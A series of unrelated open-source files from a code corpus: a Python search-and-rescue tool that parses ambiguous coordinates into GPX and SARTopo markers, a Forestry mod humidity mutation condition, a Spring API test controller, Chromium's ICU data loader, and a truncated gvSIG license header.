self.gpxDefaultDir=os.path.expanduser("~") docDir=self.gpxDefaultDir+"\\Documents" if os.path.isdir(docDir): self.gpxDefaultDir=docDir self.ui.gpxFileNameField.setText(self.gpxDefaultDir+"\\buckshot_blank.gpx") self.bestMatch="" def markerNameChanged(self): print("markerNameChanged called") markerName=self.ui.markerNameField.text() fileName=self.ui.gpxFileNameField.text() idx=fileName.find("buckshot_") if idx > -1: self.ui.gpxFileNameField.setText(fileName[0:idx]+"buckshot_"+markerName+".gpx") def gpxSetFileName(self): markerName=self.ui.markerNameField.text() initVal=self.ui.gpxFileNameField.text() if initVal=="": initVal=self.gpxDefaultDir+"\\buckshot_"+markerName+".gpx" gpxFileName=QFileDialog.getSaveFileName(self,"GPX filename",initVal,filter="gpx (*.gpx)") # cancel from file dialog returns a real array with a blank filename; # prevent this from blanking out the filename field if gpxFileName[0]!="": self.ui.gpxFileNameField.setText(gpxFileName[0]) def writeGPX(self,markerList): gpxFileName=self.ui.gpxFileNameField.text() print("Writing GPX file "+gpxFileName) # make sure the file is writable; if not, return False here gpxFile=self.fnameValidate(gpxFileName) if not gpxFile: return False doc=xml.dom.minidom.Document() gpx=doc.createElement("gpx") gpx.setAttribute("creator","BUCKSHOT") gpx.setAttribute("version","1.1") gpx.setAttribute("xmlns","http://www.topografix.com/GPX/1/1") # each element in markerList will result in a gpx wpt token. # markerList element syntax = [name,lat,lon,color] # <desc> CDATA contains SARSoft marker and color # <sym> CDATA contains Locus marker, parsed from marker name # some relevant Locus markers: # z-ico01 = red down arrow # z-ico02 = red x # z-ico03 = red donut # z-ico04 = red dot # z-ico05 = red down triangle # same sequence as above: 06-10 = cyan; 11-15=green; 16-20=yellow # misc-sunny = large green star bubble for marker in markerList: ## print("marker:"+str(marker)+"\n") [title,lat,lon,color,symbol]=marker description="" if title.startswith(bestMatchLabelPrefix): description="User-selected best match!" if title.startswith(closeMatchLabelPrefix): description="CLOSE match for specified coordinates" wpt=doc.createElement("wpt") wpt.setAttribute("lat",str(lat)) wpt.setAttribute("lon",str(lon)) name=doc.createElement("name") desc=doc.createElement("desc") sym=doc.createElement("sym") # descCDATAStr="comments=&url=%23"+marker[3][1:] descCDATAStr=description descCDATA=doc.createCDATASection(descCDATAStr) if "_Dd" in title: # red if title.startswith(bestMatchLabelPrefix): symCDATAStr="z-ico01" else: symCDATAStr="z-ico04" elif "_DMm" in title: # cyan if title.startswith(bestMatchLabelPrefix): symCDATAStr="z-ico06" else: symCDATAStr="z-ico09" elif "_DMSs" in title: # yellow if title.startswith(bestMatchLabelPrefix): symCDATAStr="z-ico16" else: symCDATAStr="z-ico19" else: if title.startswith(bestMatchLabelPrefix): symCDATAStr="z-ico11" else: symCDATAStr="z-ico14" name.appendChild(doc.createTextNode(title)) desc.appendChild(descCDATA) symCDATA=doc.createCDATASection(symCDATAStr) sym.appendChild(symCDATA) wpt.appendChild(name) wpt.appendChild(desc) wpt.appendChild(sym) gpx.appendChild(wpt) doc.appendChild(gpx) gpxFile.write(doc.toprettyxml()) gpxFile.close() return True # calcLatLon - make guesses about actual coordinates based on a string of numbers # called from textChanged of coordsField # assumptions: # - Degrees Latitude is a two-digit number starting with 2, 3, or 4 # - Degrees Longitude is a three-digit number starting with one, second digit # either 0, 1, or 2 # - space or minus sign is a known delimiter and assumed to be correct def calcLatLon(self): ### code to get overlapping matches (i.e. each possible longitude whole number) and their indices: ##import regex as re ##matches=re.finditer("1[012][0123456789]",numbers,overlapped=True) ##[match.span() for match in matches] coordString=self.ui.coordsField.text() # shortCoordString = the 'canonical' form that the possibilities will # be compared to, to check for close or exact matches. Same as # coordString, with standardized D/M/S delimiters; cannot eliminate all # spaces at this point since they may or may not be important delimiters; # therefore, will need to insert a space into the shortCoordString before # longitude for each possibility on the fly during parsing; this ensures # that original coordString with NO spaces at all can still make an # best match. shortCoordString=coordString.lower() shortCoordString=re.sub(r'[Xx]',' ',shortCoordString) # replace X or x with space for canonical form shortCoordString=re.sub(r'\s+',' ',shortCoordString) # get rid of duplicate spaces shortCoordString=re.sub(r'\'','m',shortCoordString) shortCoordString=re.sub(r'"','s',shortCoordString) print("Short coordinate string for comparison:"+shortCoordString+"\n") # different approach: # make a list of the indeces and kinds of delimiters; # if the indeces all match, it is a 'close' match; # if the indeces all match AND each one is of the same kind, it is an 'best' match delimIter=re.finditer(r'[ .dDmMsS\'"-]+',coordString) ## numbers=re.sub(r'[ .dDmMsS\'"-]','',coordString) numbers=re.sub(r'\D','',coordString) print("Raw Numbers:"+numbers+"\n") ## numbers=self.ui.numbersField.text() self.coordDdStringList=[] self.coordDMmStringList=[] self.coordDMSsStringList=[] latDegIndex=0 lonDegIndex=-1 pattern=re.compile('1[012][0123456789]') # assume longitude 100-129 west matches=pattern.finditer(numbers,2,overlapped=True) ## print(str([match.span() for match in matches])) for lonDegMobj in matches: print(str(lonDegMobj.span())) ## lonDegMobj=pattern.search(numbers,2) # skip the first two characters ## if lonDegMobj!=None: lonDegIndex=lonDegMobj.start() lonDeg=lonDegMobj.group() print("lonDegIndex: '"+str(lonDegIndex)+"'") print("Longitude Degrees: '"+lonDeg+"'") lonRestIndex=lonDegIndex+3 lonRest=numbers[lonRestIndex:] print("Longitude rest: '"+lonRest+"'") if int(numbers[0])>1 and int(numbers[0])<5: #assume latitude 20-49 north latDeg=numbers[0:2] latRest=numbers[2:lonDegIndex] print("Latitude degrees: '"+latDeg+"'") print("Latitude rest: '"+latRest+"'") # initialize whole minutes and seconds to unrealizable values # for use in the 'possible' section below latMin1="99" latMin2="99" latSec11="99" latSec12="99" latSec21="99" latSec22="99" lonMin1="99" lonMin2="99" lonSec11="99" lonSec12="99" lonSec21="99" lonSec22="99" # initialize "rest" arguments to blank strings latMin1Rest="" latMin2Rest="" latSec11Rest="" latSec12Rest="" latSec21Rest="" latSec22Rest="" lonMin1Rest="" lonMin2Rest="" lonSec11Rest="" lonSec12Rest="" lonSec21Rest="" lonSec22Rest="" # parse minutes and seconds from the rest of the string # whole minutes and whole seconds could be one digit or two digits if len(latRest)>0: print("t1") latMin1=latRest[0] if len(latRest)>1: print("t2") latMin1Rest=latRest[1:] latMin2=latRest[0:2] if len(latRest)>2: print("t2.5") latMin2Rest=latRest[2:] if len(latMin1Rest)>0: print("t3") latSec1=latMin1Rest[0:] if len(latSec1)>0: print("t4") latSec11=latSec1[0] if len(latSec1)>1: print("t5") latSec11Rest=latSec1[1:] latSec12=latSec1[0:2] if len(latSec1)>2: print("t5.5") latSec12Rest=latSec1[2:] if len(latMin2Rest)>0: print("t6") latSec2=latMin2Rest[0:] if len(latSec2)>0: print("t7") latSec21=latSec2[0] if len(latSec2)>1: print("t8") latSec21Rest=latSec2[1:] latSec22=latSec2[0:2] if len(latSec2)>2: print("t9") latSec22Rest=latSec2[2:] else: latSec2="0" # account for implied zero seconds latSec21="0" else: latSec1="0" # account for implied zero seconds latSec11="0" if len(lonRest)>0: lonMin1=lonRest[0] if len(lonRest)>1: lonMin1Rest=lonRest[1:] lonMin2=lonRest[0:2] if len(lonRest)>2: lonMin2Rest=lonRest[2:] if len(lonMin1Rest)>0: lonSec1=lonMin1Rest[0:] if len(lonSec1)>0: lonSec11=lonSec1[0] if len(lonSec1)>1: lonSec11Rest=lonSec1[1:] lonSec12=lonSec1[0:2] if len(lonSec1)>2: lonSec12Rest=lonSec1[2:] if len(lonMin2Rest)>0: lonSec2=lonMin2Rest[0:] if len(lonSec2)>0: lonSec21=lonSec2[0] if len(lonSec2)>1: lonSec21Rest=lonSec2[1:] lonSec22=lonSec2[0:2] if len(lonSec2)>2: lonSec22Rest=lonSec2[2:] else: lonSec2="0" # account for implied zero seconds lonSec21="0" else: lonSec1="0" # account for implied zero seconds lonSec11="0" # set flags as to which ones are possible # (whole min/sec <60 (2-digit) or <10 (1-digit)) latMin1Possible=int(latMin1)<10 latMin2Possible=int(latMin2)>9 and int(latMin2)<60 latSec11Possible=int(latSec11)<10 latSec12Possible=int(latSec12)<60 latSec21Possible=int(latSec21)<10 latSec22Possible=int(latSec22)<60 lonMin1Possible=int(lonMin1)<10 lonMin2Possible=int(lonMin2)>9 and int(lonMin2)<60 lonSec11Possible=int(lonSec11)<10 lonSec12Possible=int(lonSec12)<60 lonSec21Possible=int(lonSec21)<10 lonSec22Possible=int(lonSec22)<60 print("latMin1Possible:"+str(latMin1Possible)+":"+latMin1+":"+latMin1Rest) print("latMin2Possible:"+str(latMin2Possible)+":"+latMin2+":"+latMin2Rest) print("latSec11Possible:"+str(latSec11Possible)+":"+latSec11+":"+latSec11Rest) print("latSec12Possible:"+str(latSec12Possible)+":"+latSec12+":"+latSec12Rest) print("latSec21Possible:"+str(latSec21Possible)+":"+latSec21+":"+latSec21Rest) print("latSec22Possible:"+str(latSec22Possible)+":"+latSec22+":"+latSec22Rest) print("lonMin1Possible:"+str(lonMin1Possible)+":"+lonMin1+":"+lonMin1Rest) print("lonMin2Possible:"+str(lonMin2Possible)+":"+lonMin2+":"+lonMin2Rest) print("lonSec11Possible:"+str(lonSec11Possible)+":"+lonSec11+":"+lonSec11Rest) print("lonSec12Possible:"+str(lonSec12Possible)+":"+lonSec12+":"+lonSec12Rest) print("lonSec21Possible:"+str(lonSec21Possible)+":"+lonSec21+":"+lonSec21Rest) print("lonSec22Possible:"+str(lonSec22Possible)+":"+lonSec22+":"+lonSec22Rest) # zero-pad right-of-decimal if needed, i.e. no blank strings right-of-decimal latRest=latRest or "0" lonRest=lonRest or "0" latMin1Rest=latMin1Rest or "0" latMin2Rest=latMin2Rest or "0" lonMin1Rest=lonMin1Rest or "0" lonMin2Rest=lonMin2Rest or "0" latSec11Rest=latSec11Rest or "0" latSec12Rest=latSec12Rest or "0" latSec21Rest=latSec21Rest or "0" latSec22Rest=latSec22Rest or "0" lonSec11Rest=lonSec11Rest or "0" lonSec12Rest=lonSec12Rest or "0" lonSec21Rest=lonSec21Rest or "0" lonSec22Rest=lonSec22Rest or "0" # build the lists of possible coordinate strings for each coordinate system # (if only one of lat/lon per pair is possible, then the pair is # not possible) self.coordDdStringList.append(str(latDeg+"."+latRest+"deg N x "+lonDeg+"."+lonRest+"deg W")) if latMin1Possible and lonMin1Possible: self.coordDMmStringList.append(str(latDeg+"deg "+latMin1+"."+latMin1Rest+"min N x "+lonDeg+"deg "+lonMin1+"."+lonMin1Rest+"min W")) if latMin1Possible and lonMin2Possible: self.coordDMmStringList.append(str(latDeg+"deg "+latMin1+"."+latMin1Rest+"min N x "+lonDeg+"deg "+lonMin2+"."+lonMin2Rest+"min W")) if latMin2Possible and lonMin1Possible: self.coordDMmStringList.append(str(latDeg+"deg "+latMin2+"."+latMin2Rest+"min N x "+lonDeg+"deg "+lonMin1+"."+lonMin1Rest+"min W")) if latMin2Possible and lonMin2Possible: self.coordDMmStringList.append(str(latDeg+"deg "+latMin2+"."+latMin2Rest+"min N x "+lonDeg+"deg "+lonMin2+"."+lonMin2Rest+"min W")) if latSec11Possible and lonSec11Possible: self.coordDMSsStringList.append(str(latDeg+"deg "+latMin1+"min "+latSec11+"."+latSec11Rest+"sec N x "+lonDeg+"deg "+lonMin1+"min "+lonSec11+"."+lonSec11Rest+"sec W")) if latSec11Possible and lonSec12Possible: self.coordDMSsStringList.append(str(latDeg+"deg "+latMin1+"min "+latSec11+"."+latSec11Rest+"sec N x "+lonDeg+"deg "+lonMin1+"min "+lonSec12+"."+lonSec12Rest+"sec W")) if latSec11Possible and lonSec21Possible: self.coordDMSsStringList.append(str(latDeg+"deg "+latMin1+"min "+latSec11+"."+latSec11Rest+"sec N x "+lonDeg+"deg "+lonMin2+"min "+lonSec21+"."+lonSec21Rest+"sec W")) if latSec11Possible and lonSec22Possible: self.coordDMSsStringList.append(str(latDeg+"deg "+latMin1+"min "+latSec11+"."+latSec11Rest+"sec N x "+lonDeg+"deg "+lonMin2+"min "+lonSec22+"."+lonSec22Rest+"sec W")) if latSec12Possible and lonSec11Possible: self.coordDMSsStringList.append(str(latDeg+"deg "+latMin1+"min "+latSec12+"."+latSec12Rest+"sec N x "+lonDeg+"deg "+lonMin1+"min "+lonSec11+"."+lonSec11Rest+"sec W")) if latSec12Possible and lonSec12Possible: self.coordDMSsStringList.append(str(latDeg+"deg "+latMin1+"min "+latSec12+"."+latSec12Rest+"sec N x "+lonDeg+"deg "+lonMin1+"min "+lonSec12+"."+lonSec12Rest+"sec W")) if latSec12Possible and lonSec21Possible: self.coordDMSsStringList.append(str(latDeg+"deg "+latMin1+"min "+latSec12+"."+latSec12Rest+"sec N x "+lonDeg+"deg "+lonMin2+"min "+lonSec21+"."+lonSec21Rest+"sec W")) if latSec12Possible and lonSec22Possible: self.coordDMSsStringList.append(str(latDeg+"deg "+latMin1+"min "+latSec12+"."+latSec12Rest+"sec N x "+lonDeg+"deg "+lonMin2+"min "+lonSec22+"."+lonSec22Rest+"sec W")) if latSec21Possible and lonSec11Possible: self.coordDMSsStringList.append(str(latDeg+"deg "+latMin2+"min "+latSec21+"."+latSec21Rest+"sec N x "+lonDeg+"deg "+lonMin1+"min "+lonSec11+"."+lonSec11Rest+"sec W")) if latSec21Possible and lonSec12Possible: self.coordDMSsStringList.append(str(latDeg+"deg "+latMin2+"min "+latSec21+"."+latSec21Rest+"sec N x "+lonDeg+"deg "+lonMin1+"min "+lonSec12+"."+lonSec12Rest+"sec W")) if latSec21Possible and lonSec21Possible: self.coordDMSsStringList.append(str(latDeg+"deg "+latMin2+"min "+latSec21+"."+latSec21Rest+"sec N x "+lonDeg+"deg "+lonMin2+"min "+lonSec21+"."+lonSec21Rest+"sec W")) if latSec21Possible and lonSec22Possible: self.coordDMSsStringList.append(str(latDeg+"deg "+latMin2+"min "+latSec21+"."+latSec21Rest+"sec N x "+lonDeg+"deg "+lonMin2+"min "+lonSec22+"."+lonSec22Rest+"sec W")) if latSec22Possible and lonSec11Possible: self.coordDMSsStringList.append(str(latDeg+"deg "+latMin2+"min "+latSec22+"."+latSec22Rest+"sec N x "+lonDeg+"deg "+lonMin1+"min "+lonSec11+"."+lonSec11Rest+"sec W")) if latSec22Possible and lonSec12Possible: self.coordDMSsStringList.append(str(latDeg+"deg "+latMin2+"min "+latSec22+"."+latSec22Rest+"sec N x "+lonDeg+"deg "+lonMin1+"min "+lonSec12+"."+lonSec12Rest+"sec W")) if latSec22Possible and lonSec21Possible: self.coordDMSsStringList.append(str(latDeg+"deg "+latMin2+"min "+latSec22+"."+latSec22Rest+"sec N x "+lonDeg+"deg "+lonMin2+"min "+lonSec21+"."+lonSec21Rest+"sec W")) if latSec22Possible and lonSec22Possible: self.coordDMSsStringList.append(str(latDeg+"deg "+latMin2+"min "+latSec22+"."+latSec22Rest+"sec N x "+lonDeg+"deg "+lonMin2+"min "+lonSec22+"."+lonSec22Rest+"sec W")) else: print("Latitiude not found.") else: print("Longitude not found.") # self.ui.DdField.setPlainText("\n".join(self.coordDdStringList)) # self.ui.DMmField.setPlainText("\n".join(self.coordDMmStringList)) # self.ui.DMSsField.setPlainText("\n".join(self.coordDMSsStringList)) self.ui.DdField.clear() self.ui.DdField.addItems(self.coordDdStringList) self.ui.DMmField.clear() self.ui.DMmField.addItems(self.coordDMmStringList) self.ui.DMSsField.clear() self.ui.DMSsField.addItems(self.coordDMSsStringList) print("Possible Dd coordinates:\n"+str(self.coordDdStringList)) print("Possible DMm coordinates:\n"+str(self.coordDMmStringList)) print("Possible DMSs coordinates:\n"+str(self.coordDMSsStringList)) # now find the 'short' string corresponding to each possibility, and # see how close of a match it is to the originally entered string # (highlight the row in the GUI, and change the marker name and symbol) for n,DdString in enumerate(self.coordDdStringList): DdShort=DdString.replace("deg ","d") DdShort=DdShort.replace("N x "," ") DdShort=DdShort.replace("W","") print("DdShort:"+DdShort) if DdShort==shortCoordString: print(" EXACT MATCH!") self.coordDdStringList[n]=bestMatchLabelPrefix+DdString # self.ui.DdField.setPlainText("\n".join(self.coordDdStringList)) self.ui.DdField.clear() self.ui.DdField.addItems(self.coordDdStringList) for n,DMmString in enumerate(self.coordDMmStringList): DMmShort=DMmString.replace("deg ","d") DMmShort=DMmShort.replace("min ","m") DMmShort=DMmShort.replace("N x "," ") DMmShort=DMmShort.replace("W","") print("DMmShort:"+DMmShort) if DMmShort==shortCoordString: print(" EXACT MATCH!") self.coordDMmStringList[n]=bestMatchLabelPrefix+DMmString # self.ui.DMmField.setPlainText("\n".join(self.coordDMmStringList)) self.ui.DMmField.clear() self.ui.DMmField.addItems(self.coordDMmStringList) for n,DMSsString in enumerate(self.coordDMSsStringList): DMSsShort=DMSsString.replace("deg ","d") DMSsShort=DMSsShort.replace("min ","m") DMSsShort=DMSsShort.replace("sec ","s") DMSsShort=DMSsShort.replace("N x "," ") DMSsShort=DMSsShort.replace("W","") print("DMSsShort:"+DMSsShort) if DMSsShort==shortCoordString: print(" EXACT MATCH!") self.coordDMSsStringList[n]=bestMatchLabelPrefix+DMSsString # self.ui.DMSsField.setPlainText("\n".join(self.coordDMSsStringList)) self.ui.DMSsField.clear() self.ui.DMSsField.addItems(self.coordDMSsStringList) # possibilityClicked: when any row is clicked, unhighlight / unselect any # highlighted/selected rows in the other two coordinate system list widgets, # and use the selected row as the 'best match' possibility def possibilityDdClicked(self): clicked=self.ui.DdField.selectedItems()[0].text() if clicked==self.bestMatch: self.bestMatch="" self.ui.DdField.clearSelection() else: self.bestMatch=clicked print(self.bestMatch) self.ui.DMmField.clearSelection() self.ui.DMSsField.clearSelection() def possibilityDMmClicked(self): clicked=self.ui.DMmField.selectedItems()[0].text() if clicked==self.bestMatch: self.bestMatch="" self.ui.DMmField.clearSelection() else: self.bestMatch=clicked print(self.bestMatch) self.ui.DdField.clearSelection() self.ui.DMSsField.clearSelection() def possibilityDMSsClicked(self): clicked=self.ui.DMSsField.selectedItems()[0].text() if clicked==self.bestMatch: self.bestMatch="" self.ui.DMSsField.clearSelection() else: self.bestMatch=clicked print(self.bestMatch) self.ui.DdField.clearSelection() self.ui.DMmField.clearSelection() #fnameValidate: try writing a test file to the specified filename; # return the filehandle if valid, or print the error message and return False # if invalid for whatever reason def fnameValidate(self,filename): try: f=open(filename,"w") except (IOError,FileNotFoundError) as err: QMessageBox.warning(self,"Invalid Filename","GPX filename is not valid:\n\n"+str(err)+"\n\nNo markers written to GPX or URL. Fix or blank out the filename, and try again.") return False else: return f def createMarkers(self): print("createMarkers called") # if a gpx filename is specified, validate it first; if invalid, force # the user to fix it or blank it out before generating any URL markers if not self.fnameValidate(self.ui.gpxFileNameField.text()): return DdIdx=0 DMmIdx=0 DMSsIdx=0 DdIdxFlag=len(self.coordDdStringList)>1 DMmIdxFlag=len(self.coordDMmStringList)>1 DMSsIdxFlag=len(self.coordDMSsStringList)>1 markerName=self.ui.markerNameField.text() if markerName=="": markerName="X" # for best match, use a ring with center dot # for close match, use a hollow ring # appropriate prefixes were determined from decoding json POST request # of a live header when creating each type of marker by hand # final URL values: # simple dot: "#<hex_color>" # target: "c:target,<hex_color>" (notice, no pound sign) # ring: "c:ring,<hex_color>" (notice, no pound sign) bestMatchSymbol="c:target" closeMatchSymbol="c:ring" # build a list of markers; each marker is a list: # [markerName,lat,lon,color] markerList=[] for DdString in self.coordDdStringList: DdIdx=DdIdx+1 labelPrefix="" symbol="point" # if DdString.startswith(bestMatchLabelPrefix): if DdString==self.bestMatch: DdString=DdString.replace(bestMatchLabelPrefix,"") labelPrefix=bestMatchLabelPrefix symbol=bestMatchSymbol if DdString.startswith(closeMatchLabelPrefix): DdString=DdString.replace(closeMatchLabelPrefix,"") labelPrefix=closeMatchLabelPrefix symbol=closeMatchSymbol print(" Dd : '"+DdString+"'") r=parse("{:g}deg N x {:g}deg W",DdString) print(r) if DdIdxFlag: idx=str(DdIdx) else: idx="" markerList.append([labelPrefix+markerName+"_Dd"+idx,r[0],-r[1],"FF0000",symbol]) for DMmString in self.coordDMmStringList: DMmIdx=DMmIdx+1 labelPrefix="" symbol="point" # if DMmString.startswith(bestMatchLabelPrefix): if DMmString==self.bestMatch: DMmString=DMmString.replace(bestMatchLabelPrefix,"") labelPrefix=bestMatchLabelPrefix symbol=bestMatchSymbol if DMmString.startswith(closeMatchLabelPrefix): DMmString=DMmString.replace(closeMatchLabelPrefix,"") labelPrefix=closeMatchLabelPrefix symbol=closeMatchSymbol print(" DMm : "+DMmString) r=parse("{:g}deg {:g}min N x {:g}deg {:g}min W",DMmString) print(r) if DMmIdxFlag: idx=str(DMmIdx) else: idx="" markerList.append([labelPrefix+markerName+"_DMm"+idx,r[0]+r[1]/60.0,-(r[2]+r[3]/60.0),"FF00FF",symbol]) for DMSsString in self.coordDMSsStringList: DMSsIdx=DMSsIdx+1 labelPrefix="" symbol="point" # if DMSsString.startswith(bestMatchLabelPrefix): if DMSsString==self.bestMatch: DMSsString=DMSsString.replace(bestMatchLabelPrefix,"") labelPrefix=bestMatchLabelPrefix symbol=bestMatchSymbol if DMSsString.startswith(closeMatchLabelPrefix): DMSsString=DMSsString.replace(closeMatchLabelPrefix,"") labelPrefix=closeMatchLabelPrefix symbol=closeMatchSymbol print(" DMSs: "+DMSsString) r=parse("{:g}deg {:g}min {:g}sec N x {:g}deg {:g}min {:g}sec W",DMSsString) print(r) if DMSsIdxFlag: idx=str(DMSsIdx) else: idx="" markerList.append([labelPrefix+markerName+"_DMSs"+idx,r[0]+r[1]/60.0+r[2]/3600.0,-(r[3]+r[4]/60.0+r[5]/3600.0),"0000FF",symbol]) print("Final marker list:") print(str(markerList)) if self.writeGPX(markerList): infoStr="\nWrote GPX? YES" else: infoStr="\nWrote GPX? NO" if self.ui.URLField.text(): url=self.ui.URLField.text() p=url.lower().replace("http://","").split("/") domainAndPort=p[0] mapID=p[-1] print("domainAndPort: "+domainAndPort) print("map ID: "+mapID) sts=SartopoSession(domainAndPort=domainAndPort,mapID=mapID) fid=sts.addFolder("Buckshot") print(" folder id="+str(fid)) for marker in markerList: [title,lat,lon,color,symbol]=marker description="" if title.startswith(bestMatchLabelPrefix): description="User-selected best match!" if title.startswith(closeMatchLabelPrefix): description="CLOSE match for specified coordinates" sts.addMarker(lat,lon,title,description,color,symbol,None,fid) infoStr+="\nWrote URL? YES" else: infoStr+="\nWrote URL? NO" print("No URL specified; skipping URL export.") QMessageBox.information(self,"Markers Created","Markers created successfully.\n"+infoStr) def main(): app = QApplication(sys.argv) w = MyWindow(app) w.show() sys.exit(app.exec_()) if __name__ == '__main__': main()
ncssar/buckshot
buckshot.py
Python
gpl-3.0
30,547
/******************************************************************************* * Copyright (c) 2011-2014 SirSengir. * All rights reserved. This program and the accompanying materials * are made available under the terms of the GNU Lesser Public License v3 * which accompanies this distribution, and is available at * http://www.gnu.org/licenses/lgpl-3.0.txt * * Various Contributors including, but not limited to: * SirSengir (original work), CovertJaguar, Player, Binnie, MysteriousAges ******************************************************************************/ package forestry.core.genetics; import net.minecraft.world.World; import net.minecraft.world.biome.BiomeGenBase; import forestry.api.core.EnumHumidity; import forestry.api.genetics.IAllele; import forestry.api.genetics.IGenome; import forestry.api.genetics.IMutationCondition; public class MutationConditionHumidity implements IMutationCondition { private final EnumHumidity minHumidity; private final EnumHumidity maxHumidity; public MutationConditionHumidity(EnumHumidity minHumidity, EnumHumidity maxHumidity) { this.minHumidity = minHumidity; this.maxHumidity = maxHumidity; } @Override public float getChance(World world, int x, int y, int z, IAllele allele0, IAllele allele1, IGenome genome0, IGenome genome1) { BiomeGenBase biome = world.getWorldChunkManager().getBiomeGenAt(x, z); EnumHumidity biomeHumidity = EnumHumidity.getFromValue(biome.rainfall); if (biomeHumidity.ordinal() < minHumidity.ordinal() || biomeHumidity.ordinal() > maxHumidity.ordinal()) { return 0; } return 1; } @Override public String getDescription() { if (minHumidity != maxHumidity) { return String.format("Humidity between %s and %s.", minHumidity, maxHumidity); } else { return String.format("Humidity %s required.", minHumidity); } } }
ThiagoGarciaAlves/ForestryMC
src/main/java/forestry/core/genetics/MutationConditionHumidity.java
Java
gpl-3.0
1,896
package io.renren.modules.api.controller; import io.renren.common.utils.R; import io.renren.modules.api.annotation.AuthIgnore; import io.renren.modules.api.annotation.LoginUser; import io.renren.modules.api.entity.TokenEntity; import io.renren.modules.api.entity.UserEntity; import org.springframework.web.bind.annotation.*; /** * API测试接口 * * @author chenshun * @email sunlightcs@gmail.com * @date 2017-03-23 15:47 */ @RestController @RequestMapping("/api") public class ApiTestController { /** * 获取用户信息 */ @GetMapping("userInfo") public R userInfo(@LoginUser UserEntity user){ return R.ok().put("user", user); } /** * 忽略Token验证测试 */ @AuthIgnore @GetMapping("notToken") public R notToken(){ return R.ok().put("msg", "无需token也能访问。。。"); } /** * 接收JSON数据 */ @PostMapping("jsonData") public R jsonData(@LoginUser UserEntity user, @RequestBody TokenEntity token){ return R.ok().put("user", user).put("token", token); } }
qqq490010553/springboot-basis
src/main/java/io/renren/modules/api/controller/ApiTestController.java
Java
gpl-3.0
1,092
// Copyright (c) 2009 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "base/i18n/icu_util.h" #include "build/build_config.h" #if defined(OS_WIN) #include <windows.h> #endif #include <string> #include "base/file_path.h" #include "base/file_util.h" #include "base/logging.h" #include "base/path_service.h" #include "base/string_util.h" #include "base/sys_string_conversions.h" #include "unicode/putil.h" #include "unicode/udata.h" #if defined(OS_MACOSX) #include "base/mac/foundation_util.h" #endif #define ICU_UTIL_DATA_FILE 0 #define ICU_UTIL_DATA_SHARED 1 #define ICU_UTIL_DATA_STATIC 2 #ifndef ICU_UTIL_DATA_IMPL #if defined(OS_WIN) #define ICU_UTIL_DATA_IMPL ICU_UTIL_DATA_SHARED #else #define ICU_UTIL_DATA_IMPL ICU_UTIL_DATA_STATIC #endif #endif // ICU_UTIL_DATA_IMPL #if ICU_UTIL_DATA_IMPL == ICU_UTIL_DATA_FILE #define ICU_UTIL_DATA_FILE_NAME "icudt" U_ICU_VERSION_SHORT "l.dat" #elif ICU_UTIL_DATA_IMPL == ICU_UTIL_DATA_SHARED #define ICU_UTIL_DATA_SYMBOL "icudt" U_ICU_VERSION_SHORT "_dat" #if defined(OS_WIN) #define ICU_UTIL_DATA_SHARED_MODULE_NAME "icudt.dll" #endif #endif namespace icu_util { bool Initialize() { #ifndef NDEBUG // Assert that we are not called more than once. Even though calling this // function isn't harmful (ICU can handle it), being called twice probably // indicates a programming error. static bool called_once = false; DCHECK(!called_once); called_once = true; #endif #if (ICU_UTIL_DATA_IMPL == ICU_UTIL_DATA_SHARED) // We expect to find the ICU data module alongside the current module. FilePath data_path; PathService::Get(base::DIR_MODULE, &data_path); data_path = data_path.AppendASCII(ICU_UTIL_DATA_SHARED_MODULE_NAME); HMODULE module = LoadLibrary(data_path.value().c_str()); if (!module) { DLOG(ERROR) << "Failed to load " << ICU_UTIL_DATA_SHARED_MODULE_NAME; return false; } FARPROC addr = GetProcAddress(module, ICU_UTIL_DATA_SYMBOL); if (!addr) { DLOG(ERROR) << ICU_UTIL_DATA_SYMBOL << ": not found in " << ICU_UTIL_DATA_SHARED_MODULE_NAME; return false; } UErrorCode err = U_ZERO_ERROR; udata_setCommonData(reinterpret_cast<void*>(addr), &err); return err == U_ZERO_ERROR; #elif (ICU_UTIL_DATA_IMPL == ICU_UTIL_DATA_STATIC) // Mac/Linux bundle the ICU data in. return true; #elif (ICU_UTIL_DATA_IMPL == ICU_UTIL_DATA_FILE) #if !defined(OS_MACOSX) // For now, expect the data file to be alongside the executable. // This is sufficient while we work on unit tests, but will eventually // likely live in a data directory. FilePath data_path; bool path_ok = PathService::Get(base::DIR_EXE, &data_path); DCHECK(path_ok); u_setDataDirectory(data_path.value().c_str()); // Only look for the packaged data file; // the default behavior is to look for individual files. UErrorCode err = U_ZERO_ERROR; udata_setFileAccess(UDATA_ONLY_PACKAGES, &err); return err == U_ZERO_ERROR; #else // If the ICU data directory is set, ICU won't actually load the data until // it is needed. This can fail if the process is sandboxed at that time. // Instead, Mac maps the file in and hands off the data so the sandbox won't // cause any problems. // Chrome doesn't normally shut down ICU, so the mapped data shouldn't ever // be released. static file_util::MemoryMappedFile mapped_file; if (!mapped_file.IsValid()) { // Assume it is in the MainBundle's Resources directory. FilePath data_path = base::mac::PathForMainAppBundleResource(CFSTR(ICU_UTIL_DATA_FILE_NAME)); if (data_path.empty()) { DLOG(ERROR) << ICU_UTIL_DATA_FILE_NAME << " not found in bundle"; return false; } if (!mapped_file.Initialize(data_path)) { DLOG(ERROR) << "Couldn't mmap " << data_path.value(); return false; } } UErrorCode err = U_ZERO_ERROR; udata_setCommonData(const_cast<uint8*>(mapped_file.data()), &err); return err == U_ZERO_ERROR; #endif // OS check #endif } } // namespace icu_util
tierney/cryptagram-cc
src/base/i18n/icu_util.cc
C++
gpl-3.0
4,102
/* * Created on 16-dic-2004 * * TODO To change the template for this generated file go to * Window - Preferences - Java - Code Generation - Code and Comments */ /* gvSIG. Sistema de Información Geográfica de la Generalitat Valenciana * * Copyright (C) 2004 IVER T.I. and Generalitat Valenciana. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,USA. * * For more information, contact: * * Generalitat Valenciana * Conselleria d'Infraestructures i Transport * Av. Blasco Ibáñez, 50 * 46010 VALENCIA * SPAIN * * +34 963862235 * gvsig@gva.es * www.gvsig.gva.es * * or * * IVER T.I. S.A * Salamanca 50 * 46005 Valencia 